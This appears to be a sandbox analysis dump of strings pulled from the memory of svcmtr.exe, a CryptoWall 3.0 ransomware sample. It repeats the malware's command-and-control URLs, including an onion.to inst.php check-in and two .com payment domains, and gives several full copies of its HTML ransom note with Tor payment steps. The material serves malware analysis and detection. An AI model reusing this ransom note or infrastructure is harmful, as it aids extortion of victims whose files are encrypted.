Source: svcmtr.exe, 00000002.00000003.659735168.0000000003750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFl
Source: svcmtr.exe, 00000002.00000003.763286282.0000000003750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFD
Source: svcmtr.exe, 00000002.00000002.876613547.0000000003750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFD
Source: svcmtr.exe, 00000002.00000002.875592110.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to
Source: svcmtr.exe, 00000002.00000002.875592110.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 00000002.00000002.875592110.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/%S
Source: svcmtr.exe, 00000002.00000003.767146021.0000000003750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFD
Source: svcmtr.exe, 00000002.00000003.526806159.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DF
Source: svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/
Source: svcmtr.exe, 00000002.00000002.876613547.00000000036F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/Bm
Source: svcmtr.exe, 00000002.00000003.660965123.000000000371C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFl
Source: svcmtr.exe, 00000002.00000003.764822629.0000000003750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFD
Source: svcmtr.exe, 00000002.00000003.775595074.0000000003750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFD
Source: svcmtr.exe, 00000002.00000003.767051800.0000000003750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFD
Source: svcmtr.exe, 00000002.00000003.660093586.0000000003750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFl
Source: svcmtr.exe, 00000002.00000003.516398200.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DF
Source: svcmtr.exe, 00000002.00000002.875613471.00000000004BC000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B
Source: svcmtr.exe, 00000002.00000003.765928190.0000000003750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFD
Source: svcmtr.exe, 00000002.00000003.660343481.0000000003733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFl
Source: svcmtr.exe, 00000002.00000003.765473859.000000000374E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFD
Source: svcmtr.exe, 00000002.00000002.875613471.00000000004C0000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: svcmtr.exe, 00000002.00000002.875689270.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DF
Source: svcmtr.exe, 00000002.00000003.779806778.0000000003750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D3893591E6AE29D20734539314727D34CBC09569324EDC3FBA847A75BDF3135C565FF91C0D62040F17F6B7ADE28AF4142E8E65EDE10142FED4861228FC8CDAF99C560FF9CF9EED6D2867D0D6D84DD7E2274A9EBE9E6E8299339F55B094AD282A4FCCCF4E57AAB2E5896073C4195A72A306C97772B923C462316763BEEE779DD603DFD
Source: svcmtr.exe, 0000000B.00000002.370984556.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to
Source: svcmtr.exe, 0000000B.00000002.370984556.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 0000000B.00000002.370984556.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/%S
Source: svcmtr.exe, 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to
Source: svcmtr.exe, 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/%S
Source: svcmtr.exe, 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to
Source: svcmtr.exe, 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3. https://zpr5huq4bgmutfnf.onion.to/%S
Source: svcmtr.exe, 0000000C.00000002.387316507.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: https://zpr5huq4bgmutfnf.onion.to
Source: svcmtr.exe, 0000000C.00000002.387316507.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
